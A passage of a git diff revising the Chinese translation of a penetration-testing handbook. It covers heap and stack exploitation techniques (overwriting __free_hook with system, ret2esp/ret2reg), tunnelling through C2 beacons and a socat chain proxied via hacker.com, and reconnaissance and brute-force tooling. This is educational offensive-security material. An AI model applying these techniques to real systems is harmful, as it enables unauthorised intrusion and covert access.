+- 为此，创建一个大小为 `0xfc` 的新块，并调用合并函数两次使用该指针，这样我们就获得了一个指向大小为 `0xfc*2 = 0x1f8` 的释放块的指针，在快速 bin 中。
- 然后，在此块中调用编辑函数以修改此快速 bin 的**`fd`**地址，使其指向之前的**`__free_hook`**函数。
-- 然后，创建一个大小为 `0x1f8` 的块，以从快速 bin 中检索之前无用的块，因此创建另一个大小为 `0x1f8` 的块，以在**`__free_hook`**中获取快速 bin 块，该块被覆盖为**`system`**函数的地址。
+- 然后，创建一个大小为 `0x1f8` 的块，以从快速 bin 中检索之前无用的块，因此创建另一个大小为 `0x1f8` 的块以获取**`__free_hook`**中的快速 bin 块，该块被覆盖为**`system`**函数的地址。
- 最后，释放一个包含字符串 `/bin/sh\x00` 的块，调用删除函数，触发**`__free_hook`**函数，该函数指向 system，参数为 `/bin/sh\x00`。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- 另一个利用 1B 溢出以合并未排序 bin 中的块并获取 libc 信息泄露的示例，然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
+- 另一个利用 1B 溢出合并未排序 bin 中的块并获取 libc 信息泄露的示例，然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- 我们只能分配大于 `0x100` 的块。
- 使用未排序 bin 攻击覆盖 `global_max_fast`（由于 ASLR，成功率为 1/16，因为我们需要修改 12 位，但必须修改 16 位）。
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 4ff8e6d4b..5d720ffc3 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -6,7 +6,7 @@
**因为 ESP（栈指针）始终指向栈的顶部**，该技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP（指令指针）。通过这样做，shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时，ESP 指向下一个地址，正好是存储 shellcode 的地方。
-如果在 Windows 或 Linux 中未启用 **地址空间布局随机化（ASLR）**，则可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)）。
+如果 **地址空间布局随机化（ASLR）** 在 Windows 或 Linux 中未启用，可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)）。
此外，能够将 shellcode **放置在 EIP 损坏之后**，而不是在栈的中间，确保在函数操作期间执行的任何 `push` 或 `pop` 指令不会干扰 shellcode。如果 shellcode 被放置在函数栈的中间，可能会发生这种干扰。
@@ -17,7 +17,7 @@
sub rsp, 0x30
jmp rsp
```
-并在栈的早期写入 shellcode。
+在栈的早期写入 shellcode。
### 示例
@@ -78,11 +78,11 @@ target.interactive()
```
## Ret2reg
-类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以被使用（**ret2reg**）。
+类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以使用 (**ret2reg**)。
### 示例
-您可以在这里找到一些示例：
+您可以在这里找到一些示例：
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
@@ -108,7 +108,7 @@ done
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
-在ARM64中，**`x0`** 存储函数的返回值，因此可能是 x0 存储了一个由用户控制的缓冲区的地址，该缓冲区包含要执行的 shellcode。
+在ARM64中，**`x0`** 存储函数的返回值，因此 x0 可能存储一个由用户控制的缓冲区的地址，该缓冲区包含要执行的 shellcode。
示例代码：
```c
@@ -135,7 +135,7 @@ do_stuff(2)
return 0;
}
```
-检查函数的反汇编，可以看到**缓冲区的地址**（易受bof攻击并且**由用户控制**）在从缓冲区溢出返回之前**存储在`x0`中**：
+检查函数的反汇编，可以看到**缓冲区的地址**（易受bof攻击且**由用户控制**）在从缓冲区溢出返回之前**存储在`x0`中**：
.png)
#include
@@ -27,7 +27,7 @@ vulnerable_function();
return 0;
}
```
-在没有PIE和canary的情况下编译：
+在没有 PIE 和 canary 的情况下编译：
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
@@ -37,7 +37,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的：
-使用 gef 启动 gdb，创建模式并使用它：
+启动 gdb 和 gef，创建模式并使用它：
```bash
gdb -q ./ret2win
pattern create 200
@@ -64,7 +64,7 @@ info frame
```
.png)
.png)
#include
@@ -23,11 +23,11 @@ vulnerable_function();
return 0;
}
```
-在没有 pie、canary 和 nx 的情况下编译：
+在没有 PIE、canary 和 NX 的情况下编译：
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## No ASLR & No canary - Stack Overflow
+## No ASLR & No canary - Stack Overflow
要停止 ASLR，请执行：
```bash
@@ -66,8 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-这里唯一“复杂”的事情是找到调用的栈地址。在我的情况下，我使用 gdb 找到的地址生成了漏洞利用，但在利用时它没有工作（因为栈地址稍微改变了）。
+唯一“复杂”的事情是找到调用的栈地址。在我的情况下，我使用 gdb 找到的地址生成了漏洞利用，但在利用时它没有工作（因为栈地址稍微改变了）。
-我打开了生成的 **`core` 文件**（`gdb ./bog ./core`）并检查了 shellcode 开始的真实地址。
+我打开了生成的 **`core` 文件** (`gdb ./bog ./core`)，并检查了 shellcode 开始的真实地址。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index 19e89feba..48b66d5cd 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -153,13 +153,13 @@ rportfwd stop [bind port]
需要注意：
- Beacon 的反向端口转发旨在 **将流量隧道传输到 Team Server，而不是在单个机器之间中继**。
-- 流量在 **Beacon 的 C2 流量中隧道传输**，包括 P2P 链接。
+- 流量是 **在 Beacon 的 C2 流量中隧道传输**，包括 P2P 链接。
- **不需要管理员权限** 来在高端口上创建反向端口转发。
### rPort2Port 本地
> [!WARNING]
-> 在这种情况下，**端口在 beacon 主机上打开**，而不是在 Team Server 上，**流量发送到 Cobalt Strike 客户端**（而不是 Team Server），然后从那里发送到指定的 host:port。
+> 在这种情况下，**端口是在 beacon 主机上打开的**，而不是在 Team Server 上，**流量被发送到 Cobalt Strike 客户端**（而不是 Team Server），然后从那里发送到指定的 host:port。
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@@ -290,8 +290,6 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
-[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
-
### SSL Socat Tunnel
**/bin/sh console**
@@ -322,7 +320,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
它就像一个控制台版本的 PuTTY（选项与 ssh 客户端非常相似）。
-由于这个二进制文件将在受害者的机器上执行，并且它是一个 ssh 客户端，我们需要打开我们的 ssh 服务和端口，以便能够建立反向连接。然后，要将仅本地可访问的端口转发到我们机器上的一个端口：
+由于这个二进制文件将在受害者的机器上执行，并且它是一个 ssh 客户端，我们需要打开我们的 ssh 服务和端口，以便能够建立反向连接。然后，将仅本地可访问的端口转发到我们机器上的一个端口：
```bash
echo y | plink.exe -l -pw [-p ] -R ::
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@@ -343,24 +341,24 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
-您需要拥有**系统的 RDP 访问权限**。\
+您需要拥有 **系统的 RDP 访问权限**。\
下载：
-1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 的远程桌面服务功能中的`Dynamic Virtual Channels`（`DVC`）。DVC 负责**在 RDP 连接上隧道数据包**。
+1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责 **在 RDP 连接上隧道数据包**。
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
-在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**，如下所示：
+在您的客户端计算机上加载 **`SocksOverRDP-Plugin.dll`**，如下所示：
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
-现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**，我们应该收到一个 **prompt**，提示 **SocksOverRDP 插件已启用**，并且它将 **listen** 在 **127.0.0.1:1080**。
+现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**，我们应该收到一个 **prompt**，提示 **SocksOverRDP plugin is enabled**，并且它将 **listen** 在 **127.0.0.1:1080**。
-通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件：
+通过 **RDP** 连接，并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件：
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
-现在，在你的机器（攻击者）上确认端口 1080 正在监听：
+现在在你的机器（攻击者）上确认端口 1080 正在监听：
```
netstat -antb | findstr 1080
```
@@ -442,7 +440,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### 更改 proxychains DNS
-Proxychains 拦截 `gethostbyname` libc 调用，并通过 socks 代理隧道 tcp DNS 请求。默认情况下，proxychains 使用的 DNS 服务器是 **4.2.2.2**（硬编码）。要更改它，请编辑文件： _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境**中，可以设置 **域控制器** 的 IP。
+Proxychains 拦截 `gethostbyname` libc 调用，并通过 socks 代理隧道 tcp DNS 请求。默认情况下，proxychains 使用的 DNS 服务器是 **4.2.2.2**（硬编码）。要更改它，请编辑文件： _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境** 中，可以设置 **域控制器** 的 IP。
## Go 中的隧道
@@ -480,7 +478,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令行将解决方案暴露到互联网的工具。**\
-_Exposition URI 类似于:_ **UID.ngrok.io**
+_暴露的 URI 类似于:_ **UID.ngrok.io**
### 安装
@@ -494,7 +492,7 @@ chmod a+x ./ngrok
```
### 基本用法
-**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
+**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/)。
_如果需要，也可以添加身份验证和 TLS。_
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index eee5d909b..4bdbf6607 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -4,20 +4,20 @@
## 资产发现
-> 所以你被告知某家公司所有的东西都在范围内，你想弄清楚这家公司实际上拥有什么。
+> 所以你被告知某家公司所有的东西都在范围内，你想弄清楚这家公司实际上拥有些什么。
-这个阶段的目标是获取**主要公司拥有的所有公司**，然后获取这些公司的**资产**。为此，我们将：
+这个阶段的目标是获取**母公司拥有的所有公司**，然后获取这些公司的**资产**。为此，我们将：
-1. 找到主要公司的收购，这将给我们范围内的公司。
+1. 找到母公司的收购，这将给我们范围内的公司。
2. 找到每个公司的ASN（如果有的话），这将给我们每个公司拥有的IP范围。
3. 使用反向whois查找搜索与第一个相关的其他条目（组织名称、域名...）（这可以递归进行）。
4. 使用其他技术，如shodan `org`和`ssl`过滤器搜索其他资产（`ssl`技巧可以递归进行）。
### **收购**
-首先，我们需要知道**主要公司拥有的其他公司**。\
-一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索** **主要公司**，并**点击**“**收购**”。在那里你将看到主要公司收购的其他公司。\
-另一个选项是访问主要公司的**维基百科**页面并搜索**收购**。
+首先，我们需要知道**母公司拥有的其他公司**。\
+一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索** **母公司**，并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
+另一个选项是访问母公司的**维基百科**页面并搜索**收购**。
> 好吧，到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
@@ -28,7 +28,7 @@
找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
-**根据公司的地区，这些链接可能对收集更多数据有用：** [**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/) **（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，所有的** 有用信息 **（IP范围和Whois）**可能已经在第一个链接中出现。
+**根据公司的地区，这些链接可能对收集更多数据有用：** [**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/)**（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，所有的**有用信息**（IP范围和Whois）可能已经在第一个链接中出现。
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@@ -51,13 +51,13 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
-您还可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围（它有免费的 API）。\
+您可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围（它有免费的 API）。\
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。
### **寻找漏洞**
-此时我们已知 **范围内的所有资产**，因此如果您被允许，可以对所有主机启动一些 **漏洞扫描器**（Nessus, OpenVAS）。\
-此外，您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **，根据您发现的内容，您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\
+在这一点上，我们知道 **范围内的所有资产**，所以如果您被允许，可以对所有主机启动一些 **漏洞扫描器**（Nessus, OpenVAS）。\
+此外，您可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **，根据您发现的内容，您应该** 查看本书以了解如何对多个可能运行的服务进行渗透测试。\
**此外，值得一提的是，您还可以准备一些** 默认用户名 **和** 密码 **列表，并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。
## 域名
@@ -70,7 +70,7 @@ _请注意，在以下提出的技术中，您还可以找到子域名，这些
### **反向 DNS**
-由于您已找到域名的所有 IP 范围，因此可以尝试对这些 **IP 执行反向 DNS 查找，以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器（1.1.1.1, 8.8.8.8）。
+由于您已经找到了域名的所有 IP 范围，您可以尝试对这些 **IP 执行反向 DNS 查找，以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器（1.1.1.1, 8.8.8.8）。
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -82,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **反向 Whois（循环）**
-在 **whois** 中，您可以找到很多有趣的 **信息**，如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是，如果您通过这些字段中的任何一个执行 **反向 whois 查询**（例如，其他 whois 注册处中出现相同的电子邮件），您可以找到 **与公司相关的更多资产**。\
+在 **whois** 中，您可以找到很多有趣的 **信息**，如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是，如果您通过这些字段中的任何一个执行 **反向 whois 查询**（例如，其他 whois 注册表中出现相同的电子邮件），您可以找到 **与公司相关的更多资产**。\
您可以使用在线工具，如：
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
@@ -122,11 +122,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
简单来说，favihash 允许我们发现与目标具有相同 favicon 图标哈希的域名。
-此外，您还可以使用 favicon 哈希搜索技术，如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **一个易受攻击的 web 技术的 favicon 哈希**，您可以在 shodan 中搜索并 **找到更多易受攻击的地方**：
+此外，您还可以使用 favicon 哈希搜索技术，如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的 web 技术的 favicon 哈希**，您可以在 shodan 中搜索并 **找到更多易受攻击的地方**：
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
-这是您如何**计算网站的 favicon 哈希**：
+这是您如何**计算网页的 favicon 哈希**：
```python
import mmh3
import requests
@@ -141,7 +141,7 @@ return fhash
```
### **版权 / 唯一字符串**
-在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器** 或甚至 **shodan** 中搜索该字符串： `shodan search http.html:"Copyright string"`
+在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器**或甚至在 **shodan** 中搜索该字符串： `shodan search http.html:"Copyright string"`
### **CRT 时间**
@@ -150,52 +150,52 @@ return fhash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
-在服务器上更新所有域名证书。这意味着即使用于此的CA没有在有效期中设置生成时间，也可以**在证书透明日志中找到属于同一公司的域名**。\
+在服务器上更新所有域证书。这意味着即使用于此的CA没有在有效期中设置生成时间，也可以**在证书透明日志中找到属于同一公司的域**。\
查看这个[**写作以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。
### 邮件 DMARC 信息
-您可以使用一个网站，例如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具，例如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。
+您可以使用一个网站，如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具，如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。
### **被动接管**
-显然，人们常常将子域名分配给属于云服务提供商的IP，并在某个时候**失去该IP地址但忘记删除DNS记录**。因此，仅仅在云中**创建一个虚拟机**（如 Digital Ocean），您实际上将**接管一些子域名**。
+显然，人们常常将子域分配给属于云服务提供商的IP，并在某个时刻**失去该IP地址但忘记删除DNS记录**。因此，仅仅在云中**创建一个虚拟机**（如 Digital Ocean），您实际上将**接管一些子域**。
-[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事，并提出了一个脚本，该脚本**在 DigitalOcean 中创建一个虚拟机**，**获取**新机器的**IPv4**，并**在 Virustotal 中搜索指向它的子域名记录**。
+[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事，并提出了一个脚本，该脚本**在 DigitalOcean 中创建一个虚拟机**，**获取**新机器的**IPv4**，并**在 Virustotal 中搜索指向它的子域记录**。
### **其他方法**
-**请注意，每次找到新域名时，您可以使用此技术发现更多域名。**
+**请注意，每次找到新域时，您可以使用此技术发现更多域名。**
**Shodan**
-如您所知，您可以使用组织名称搜索IP空间。您可以在 Shodan 中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。
+如您所知，您可以使用IP空间的组织名称进行搜索。您可以在 Shodan 中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域。
您可以访问主网页的**TLS证书**，获取**组织名称**，然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称，使用过滤器：`ssl:"Tesla Motors"`，或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具，非常棒。
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**和其**子域**的工具，非常惊人。
### **寻找漏洞**
-检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域名**但他们**失去了所有权**。只需注册它（如果足够便宜）并告知公司。
+检查一些[域接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域**但他们**失去了所有权**。只需注册它（如果足够便宜）并告知公司。
-如果您发现任何**IP与您在资产发现中找到的不同**的域名，您应该执行**基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)，使用**nmap/masscan/shodan**。根据运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
-_请注意，有时域名托管在不受客户控制的IP内，因此不在范围内，请小心。_
+如果您发现任何**IP与您在资产发现中找到的不同的域**，您应该执行**基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)，使用**nmap/masscan/shodan**。根据运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
+_请注意，有时域托管在不受客户控制的IP内，因此不在范围内，请小心。_
-## 子域名
+## 子域
-> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域名。
+> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域。
-是时候找到每个找到的域名的所有可能子域名。
+是时候找到每个找到的域的所有可能子域。
> [!TIP]
-> 请注意，一些查找域名的工具和技术也可以帮助查找子域名
+> 请注意，一些查找域的工具和技术也可以帮助查找子域。
### **DNS**
-让我们尝试从**DNS**记录中获取**子域名**。我们还应该尝试进行**区域传输**（如果存在漏洞，您应该报告它）。
+让我们尝试从**DNS**记录中获取**子域**。我们还应该尝试进行**区域传输**（如果存在漏洞，您应该报告它）。
```bash
dnsrecon -a -d tesla.com
```
@@ -287,7 +287,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
-- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper)：它们在网络上抓取JS文件并从中提取子域名。
+- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper)：它们在网上抓取JS文件并从中提取子域名。
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列，它还可以尝试解析它们（但最好使用之前提到的工具）。
-- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**。
+- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **词表**。
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -389,19 +389,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### 智能排列生成
-- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html)，但它基本上会从 **发现的子域名** 中获取 **主要部分** 并将其混合以找到更多子域名。
+- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html)，但它基本上会从 **发现的子域名** 中提取 **主要部分** 并将其混合以找到更多子域名。
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器，结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据，如定制的词汇表或历史 DNS/TLS 记录，准确合成更多相应的域名，并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器，结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据，如定制的单词列表或历史 DNS/TLS 记录，准确合成更多相应的域名，并根据在 DNS 扫描期间收集的信息进一步扩展它们。
```
echo www | subzuf facebook.com
```
-### **子域名发现工作流程**
+### **子域发现工作流程**
-查看我写的这篇博客文章，关于如何使用 **Trickest workflows** **自动化子域名发现**，这样我就不需要在我的电脑上手动启动一堆工具：
+查看我写的这篇博客文章，关于如何使用 **Trickest workflows** **自动化子域发现**，这样我就不需要在我的电脑上手动启动一堆工具：
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **虚拟主机 / VHosts**
-如果你发现一个包含 **一个或多个网页** 的 IP 地址属于子域名，你可以尝试通过在 **OSINT 来源** 中查找该 IP 的域名，或者通过 **暴力破解该 IP 的 VHost 域名** 来 **寻找其他子域名**。
+如果你发现一个包含 **一个或多个网页** 的 IP 地址属于子域，你可以尝试通过在 **OSINT 来源** 中查找该 IP 的域名，或者通过 **暴力破解该 IP 的 VHost 域名** 来 **寻找其他子域**。
#### OSINT
@@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
**暴力破解**
-如果你怀疑某个子域名可能隐藏在一个网络服务器中，你可以尝试进行暴力破解：
+如果你怀疑某个子域可能隐藏在一个网络服务器中，你可以尝试进行暴力破解：
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -446,16 +446,16 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **桶暴力破解**
-在寻找 **子域名** 时，注意是否指向任何类型的 **桶**，在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+在寻找 **子域名** 时，注意它是否 **指向** 任何类型的 **桶**，在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
此外，既然此时你已经知道了所有在范围内的域名，尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
### **监控**
-你可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的新 **子域名**，[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
